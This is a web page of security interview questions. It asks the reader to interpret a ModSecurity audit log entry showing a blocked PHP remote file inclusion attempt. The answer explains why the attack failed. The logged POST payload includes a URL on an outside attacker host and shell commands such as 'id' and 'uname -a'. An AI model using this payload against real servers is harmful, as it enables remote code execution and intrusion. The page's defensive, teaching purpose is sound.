What application generated the log file entry below? What type of attack is this?
Computing Security,Information Security, NT security, Web Security and Network Security Questions and Answers
(Continued from previous question...)
What application generated the log file entry below? What type of attack is this?
What application generated the log file entry below? What type of attack is this? Assuming the index.php program is vulnerable, was this attack successful?
========================================
Request: 200.158.8.207 - - [09/Oct/2004:19:40:46 --0400] "POST /index.php HTTP/1.1" 403 743
Handler: cgi-script
----------------------------------------
POST /index.php HTTP/1.1
Host: www.foo.com
Connection: keep-alive
Accept: */*
Accept-Language: en-us
Content-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla 4.0 (Linux)
Content-Length: 65
X-Forwarded-For: 200.158.8.207
mod_security-message: Access denied with code 403. Pattern match "uname\x20-a" at POST_PAYLOAD
mod_security-action: 403
65
lid=http://th3.ownz.p5.org.uk/lila.jpg?&cmd=cd /tmp;id;lsuname -a
----------------------------------------
Note:
Goal of question – to verify that the applicant can interpret various web log files, identify attacks and possible impacts. The Mod_Security Apache module generated this data in the audit_log file. The log entry indicates that an attacker is attempting to exploit a PHP file inclusion vulnerability in the index.php script. The commands being passed are in the POST PAYLOAD of the command. This attack was not successful for the following two reasons:
· The mod_security-message header indicates that Mod_Security blocked this request based on a converted Snort web-attack rule when it identified the "uname –a" data in the POST PAYLOAD.
· The attacker also made a typo in the OS commands being passed in the POST PAYLOAD. She did not include a semicolon ";" between the ls and uname commands. The target host would fail to execute the "lsuname" command.
(Continued on next question...)
Other Interview Questions
- How can I avoid computer viruses?
- What makes a strong password?
- What is Spyware?
- How can I avoid Spyware?
- What is a Firewall?
- How can I protect my home computer?
- I'm new to the Internet and have been hearing a lot about viruses. I'm not exactly sure what they are. Can you help?
- I've been hearing a lot about firewalls, but I'm not sure what it is or if I need it. Can you help?
- What is the security threat level today at the Internet Storm Center (ISC).
- What is this (X) IDS signature mean?
- SEM/SIM Security information management questions
- Checking on the interviewee's knowledge of legal issues and information security
- Use the out put from any network security scanner, which ever network security scanner is used by the interviewer
- How well the person can do architecture from scratch ...
- Where do I get patches, or, what is a Service Pack or a Hot Fix?
- What is impersonation?
- What is a SID (Security ID)?
- What are privileges (user rights)?
- What is an ACE (Access Control Entry)?
- What is an ACL (Access Control List)?
- What is SRM (Security Reference Monitor)?
- What is LSA (Local Security Authority)?
- What is SAM (Security Account Manager)?
- What is a secure channel?
- What is an access token?
- Host security
- Are there any NT based viruses, or can NT be susceptible for other viruses?
- How do I get my computer C2-level secure, or, what is c2config?
- Are there any known problems with the screen saver / screen lock program?
- How can I secure my client computers against my users?
- Can my page file hold sensitive data?
- User security
- Administrator account
- Guest account
- Network security
- Is NT susceptible to SYN flood attacks?
- Is it possible to use packet filters on an NT machine?
- What ports must I enable to let NBT (NetBios over TCP/IP) through my firewall
- What is Authenticode?
- What should I think about when using SNMP?
- What servers have TCP ports opened on my NT system? Or: Is netstat broken?
- What are giant packets? Or, is Windows NT susceptible to the PING attack?
- What is a NULL session?
- Web server security
- FTP server security
- What is Rollback.exe ?
- What is Shutdown.exe
- What is AFTP, NVAlert and NVRunCmd
- There are several security issues related to ODBC usage ...
- There are a number of things to do to get better security on remote connections ...
- By default, all auditing in Windows NT is turned off. You have to manually turn on auditing on whatever object you want audited ...
- Can I grant access to someone to view or change the logfiles?
- What is CryptoAPI
- Where is the password that I configure a service to start with stored?
- How do we “lock down” a new system?
- Securing New Systems questions
- Password Management questions
- Anti-Virus questions
- Software Maintenance questions
- Backups questions
- Physical Security questions
- Network Security questions
- Wireless Security questions
- Data Security questions
- Intrusion Detection and Recovery questions
- Disaster Recovery Planning questions
- Current Awareness of Security Issues questions
- Security interview questions for network admin questions
- What's to worry about Web Security ?
- Exactly what security risks are we talking about?
- Are some operating systems more secure to use as platforms for Web servers than others?
- Are some Web server software programs more secure than others?
- Are CGI scripts insecure?
- Are server-side includes insecure?
- What general security precautions should I take?
- How do I secure Windows 2000 and IIS 5.0?
- What is the URLScan Security Tool?
- What is the IIS Lockdown Tool?
- What is the HFNetChk Security Tool?
- What is the Microsoft Baseline Security Analyzer?
- What do you see as the most critical and current threats effecting Internet accessible websites?
- What online resources do you use to keep abreast of web security issues? Can you give an example of a recent web security vulnerability or threat?
- What do you see as challenges to successfully deploying/monitoring web intrusion detection?
- What is your definition of the term "Cross-Site Scripting"? What is the potential impact to servers and clients?
- What are the most important steps you would recommend for securing a new web server? Web application?
- Imagine that we are running an Apache reverse proxy server and one of the servers we are proxy for is a Windows IIS server. What does the log entry suggest has happened?
- You are engaged in a penetration-test where you are attempting to gain access to a protected location. You are presented with this login screen:
- What application generated the log file entry below? What type of attack is this?
- What does this log entry indicate? How could you identify what the contents are of the "hacked.htm" file that the attacker is trying to upload?
- The file is called "logon_validate" and a typical logon request looks like this ?
|